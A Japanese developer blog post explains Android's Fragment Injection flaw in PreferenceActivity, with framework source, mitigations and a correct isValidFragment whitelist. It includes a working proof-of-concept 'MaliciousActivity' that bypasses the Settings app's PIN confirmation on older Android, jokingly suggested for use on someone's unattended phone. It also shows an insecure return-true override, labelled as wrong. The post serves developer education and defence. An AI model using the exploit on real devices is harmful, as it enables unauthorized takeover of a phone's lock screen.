結論:多分大丈夫です。おわり。
…と言う冗談はこれくらいにして、ごく稀に大丈夫じゃないアプリがあるかもしれないのでまとめて見ました。
逆に言うと以下2点に該当しないアプリは全部大丈夫(*1)なので、こんな記事読んでる暇あったら水瀬と山下のガンガンGAチャンネルでも見ていた方が有意義な時間を過ごせるかと思います。
ダメかもしれない例
- TargetSdkVersionが18(Jelly Bean MR2)以下だ
- PreferenceActivityを継承したクラスを使っている
上記に該当する人はこの記事を読んでから水瀬と山下のガンガンGAチャンネル見てください。
*1 10/10追記 よく考えたらTargetSdkVersion19以上でも、PreferenceActivityをよく理解しないで使っている場合は脆弱性が存在する可能性があるので一番下に追記します
はじめに
AndroidにはFragmentInjection脆弱性という恐ろしい脆弱性があります。
他人が作ったアプリの任意の画面を好き勝手に表示してしまおう!
さらに想定されてない動きもしてしまおう!っていうとても恐ろしい奴です。
今回はこのFragmentInjection脆弱性についてまとめてみました。
夏休みの自由研究みたいな感じです。
知ってたほうがいいこと
Fragment Injectionのについて語るときに前提として知っておかなければならない単語があるので軽く説明します。
そんなの知ってるよ!って方はこの章は飛ばしてください(bow)
ActivityとFragmentの関係
AndroidアプリにはActivityとFragmentという概念があります。
どちらも画面を構成する要素で、Activityの上に何個かのFragmentを乗せていくイメージです。
詳しい説明はこちらの記事とかが面白くてわかりやすいと思うのでオススメです!
Intentとは
ActivityからActivityに画面遷移するときに用いるのがIntentという機能です。
別のアプリのActivityに遷移することもできます。
遷移先の画面を指定すると同時に、遷移先の画面に任意のパラメータを渡したり、なんてこともできます。
よくある例ですと、GoogleMapを使ってお店などを調べて、「ウェブサイト」ボタンを押すとChromeでお店のWebページが立ち上がる、などが馴染み深いと思います。
Fragment Injectionってなぁに?
上でIntentを使うと他のアプリに画面遷移したりパラメータを渡したりできると書きましたが、当然ですが何でもかんでも好き勝手に画面を呼び出せるわけではありません。
というか設定をしない限り、デフォルトで全てのActivityは他のアプリからは呼び出せないようになっています。
GoogleChromeやGoogleMap、Twitterなどで外部のアプリから立ち上げてほしいActivityがある場合のみ、AndroidManifest.xmlの対象のActivityにexported="true"を指定し、外部アプリから起動可能にします。(下記はNanaminActivityを外部から起動できるようにした場合)
<activity android:name="NanaminActivity"
...
android:exported="true"/>
この場合、NanaminActivityは外部アプリから呼び出せるようになっているので、下記コードのような記述で起動することができます。パラメータも投げることができます。
Intent intent = new Intent(Intent.ACTION_RUN);
intent.setComponent(new ComponentName("com.android.nanamin", "com.android.nanamin.NanaminActivity"));
intent.putExtra("param", "a-aiueo-");
startActivity(intent);
よく使う例だとLINEやTwitterなどでしょうか。投稿するテキストを他のアプリ(Chromeとか)から持ってきて起動、などよく使うと思います。
こんな感じでテキスト付きでTwitterに飛ばしたりできます。
ただし、冒頭にも書きましたが外部から起動できるActivityは開発者側が設定したActivityのみです。
そこで、本来外部から起動できない画面を無理やり起動しちゃおう!ついでに不正なパラメータも渡しちゃおう!っていうのがFragmentInjectionになります。
例えばある条件(課金とかパスワード入力とか)を満たしていないと本来開くはずのない画面を開けるようになっちゃう可能性があるってことですね。
便利!!
どうして起きるの?
AndroidのフレームワークにはPreferenceActivityというActivityがあります。
設定画面とかを簡単に作れちゃう便利な奴ですね。
こいつは上にのっけるFragmentを指定するときにFragment#instantiate()を使っています。
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
...
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
...
if (savedInstanceState != null) {
...
} else {
if (initialFragment != null && mSinglePane) {
// If we are just showing a fragment, we want to run in
// new fragment mode, but don't need to compute and show
// the headers.
switchToHeader(initialFragment, initialArguments);
...
}
...
}
...
}
...
private void switchToHeaderInner(String fragmentName, Bundle args) {
getFragmentManager().popBackStack(BACK_STACK_PREFS,
FragmentManager.POP_BACK_STACK_INCLUSIVE);
...
Fragment f = Fragment.instantiate(this, fragmentName, args);
...
}
public static Fragment instantiate(Context context, String fname, @Nullable Bundle args) {
try {
Class<?> clazz = sClassMap.get(fname);
if (clazz == null) {
// Class not found in the cache, see if it's real, and try to add it
clazz = context.getClassLoader().loadClass(fname);
sClassMap.put(fname, clazz);
}
Fragment f = (Fragment)clazz.newInstance();
if (args != null) {
args.setClassLoader(f.getClass().getClassLoader());
f.mArguments = args;
}
return f;
...
}
}
Fragment.instantiate()では上記のようにリフレクションを使ってクラスを呼び出しています。
この時に呼び出すFragment名やパラメータ名、値はPreferenceActivityを起動した時のIntentのExtraで指定しています。
なので、PreferenceActivityを継承したクラスが外部アプリから呼び出し可能になっている場合、起動したいFragmentの名前、パラメータ名を攻撃者が知ってさえいれば、アプリ内の任意のFragmentに自由なパラメータを渡して起動することが可能になってしまいます。
実際にやってみよう!
それでは今回はAndroidに標準で入っているSettingアプリを攻撃してみましょう!
こんな感じのアプリですね。
今回は端末の画面ロックから復帰する時のPINパスワードを忘れてしまった時に便利なアプリを作ってみましょう!
通常時、PINパスワードが指定されている状態でPINパスワードの変更を行おうとすると、今設定しているパスワードを聞かれる仕様になっています。
忘れたから変えようとしてるっていうのに、全く使い勝手の悪いアプリですね。
if (savedInstanceState == null) {
updateStage(Stage.Introduction);
if (confirmCredentials) {
mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,
getString(R.string.unlock_set_unlock_launch_picker_title), true,
mUserId);
}
}...
どうやら"confirmCredentials"が悪さをして、確認画面を表示するようにしているようです。
なので外部アプリから設定アプリの中でパスワード変更画面を作っているChooseLockPasswordを直接起動して、パラメータから"confirmCredentials = false"を指定してこの確認手順をスルーしようと思います。
<activity android:name="ChooseLockPassword" android:exported="false"
android:windowSoftInputMode="stateVisible|adjustResize"/>
当然ですがChooseLockPasswordは外部からの起動ができないように設定されています。
ここで先ほど紹介したFragmentInectionの出番です。
上記でも書いたように、特定のFragmentを起動するためには、対象のFragmentの名前と、Intentで渡すパラメータの名前などが必要になってきます。
今回対象のFragmentの名前は"ChooseLockPasswordFragment"だと言うことは分かっているので、パラメータ名を見ていこうと思います。
まずはChooseLockPasswordに渡すパラメータから見ていきます
public static Intent createIntent(Context context, int quality,
int minLength, final int maxLength, boolean requirePasswordToDecrypt,
boolean confirmCredentials) {
Intent intent = new Intent().setClass(context, ChooseLockPassword.class);
...
intent.putExtra(ChooseLockGeneric.CONFIRM_CREDENTIALS, confirmCredentials);
...
return intent;
}
public class ChooseLockGeneric extends SettingsActivity {
public static final String CONFIRM_CREDENTIALS = "confirm_credentials";
@Override
public Intent getIntent() {
...
これでChooseLockPasswordFragmentには"confirm_credentials"という名前でパラメータを渡せばいいということが分かりました。
次にSettingsに渡すパラメータ名を調べていきましょう。
/**
* When starting this activity, the invoking Intent can contain this extra
* string to specify which fragment should be initially displayed.
* <p/>Starting from Key Lime Pie, when this argument is passed in, the PreferenceActivity
* will call isValidFragment() to confirm that the fragment class name is valid for this
* activity.
*/
public static final String EXTRA_SHOW_FRAGMENT = ":android:show_fragment";
/**
* When starting this activity and using {@link #EXTRA_SHOW_FRAGMENT},
* this extra can also be specified to supply a Bundle of arguments to pass
* to that fragment when it is instantiated during the initial creation
* of PreferenceActivity.
*/
public static final String EXTRA_SHOW_FRAGMENT_ARGUMENTS = ":android:show_fragment_args";
ちょっと古いソースコード漁るの大変だったので最新ので勘弁してください……めっちゃ脆弱性対策のためのコメント書いてある気がするけど見なかったことに……
このようにSettingsに渡すべきパラメータ名もわかりました。
後はもう簡単!
下記のようなソースレビューに出したら余裕で100回くらいNGくらいそうなソースコードを書くだけで、パスワードを忘れてしまった時のお役立ちアプリを作成することが出来ます。
public class MaliciousActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(Intent.ACTION_RUN);
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.Settings"));
intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
Bundle args = new Bundle(1);
args.putBoolean("confirm_credentials", false);
intent.putExtra(":android:show_fragment_args", args);
startActivity(intent);
}
}
無事に、もともと設定してあるPINの確認手順をスキップすることが出来ました
ここで任意のPINコードを入力すれば、PINコードを上書きして使うことが出来ます!
これでもしPINコードを忘れてしまった時や、誰かが画面ロック解除した状態でケータイを放置しているのを見つけた時に新しいPINコードを設定することが出来ます!(よい子はマネしないでください)
おわりに
最初にもちらっと書きましたが、今は脆弱性の対策をされているので、TargetSdkVersionを19(KITKAT)以上に指定すればこのような脆弱性は存在しません。
/**
* Subclasses should override this method and verify that the given fragment is a valid type
* to be attached to this activity. The default implementation returns <code>true</code> for
* apps built for <code>android:targetSdkVersion</code> older than
* {@link android.os.Build.VERSION_CODES#KITKAT}. For later versions, it will throw an exception.
* @param fragmentName the class name of the Fragment about to be attached to this activity.
* @return true if the fragment class name is valid for this Activity and false otherwise.
*/
protected boolean isValidFragment(String fragmentName) {
if (getApplicationInfo().targetSdkVersion >= android.os.Build.VERSION_CODES.KITKAT) {
throw new RuntimeException(
"Subclasses of PreferenceActivity must override isValidFragment(String)"
+ " to verify that the Fragment class is valid! " + this.getClass().getName()
+ " has not checked if fragment " + fragmentName + " is valid.");
} else {
return true;
}
}
...
private void switchToHeaderInner(String fragmentName, Bundle args) {
getFragmentManager().popBackStack(BACK_STACK_PREFS,
FragmentManager.POP_BACK_STACK_INCLUSIVE);
if (!isValidFragment(fragmentName)) {
throw new IllegalArgumentException("Invalid fragment for this activity: "
+ fragmentName);
}
Fragment f = Fragment.instantiate(this, fragmentName, args);
FragmentTransaction transaction = getFragmentManager().beginTransaction();
transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);
transaction.replace(com.android.internal.R.id.prefs, f);
transaction.commitAllowingStateLoss();
}
コメントにもがっつり書いてありますが、現在はPreferenceActivityを継承したクラスを用いる場合はisValidFragment()をOverrideして、内部で開いてもいいFragmentの名前を指定する必要があります。(指定しないとクラッシュします)
なので普通に開発している分には何の問題もないと思うのですが、もし何らかの訳わからん要件でTargetSdkVersionを上げられないような状況の場合は、一度FragmentInjection君の事も思いだしてあげてくださいね!
参考にしたやつ
https://securityintelligence.com/new-vulnerability-android-framework-fragment-injection/
https://android.googlesource.com/platform/packages/apps/Settings/+/c2b43dbee88e3cc12f267610fc077b021f31207a/AndroidManifest.xml
https://android.googlesource.com/platform/packages/apps/Settings/+/00a2619a102e2b5c4004c925d9a6c5360f772ae5/src/com/android/settings/ChooseLockPassword.java
https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/preference/PreferenceActivity.java
http://kokufu.blogspot.jp/2013/12/preferenceactivity-isvalidfragment.html
追記 TargetSdkVersion19以上でも危ない例
上でTargetSdkVersion19以上なら大丈夫って書きましたが、それはまともにソースコードを書いている場合に限ることです。
PreferenceActivityをよく理解せずに、レビューで100回くらいNG出されるようなコードを書いた場合は脆弱性が生じてしまう可能性があります。
以下が一例です。
@Override
protected boolean isValidFragment(String fragmentName) {
// Overrideしないと動かないのでtrueを返す
return true;
}
見るからに怪しいですが、当然ダメです。
てかなんのためにこのメソッドが用意されてると思ってるんですか。
ちゃんとコメント読んでくださいって感じです。
ちゃんと実装すると以下のようになります。
@Override
protected boolean isValidFragment(String fragmentName) {
// Fragment名を確認して、想定されているもの以外は通さない
if (NanaminFragment.class.getName().equals(fragmentName) ||
InorinFragment.class.getName().equals(fragmentName)) {
return true;
}
return false;
}
とりあえず動けコードはセキュリティ的にはやばい時もあるってことですね。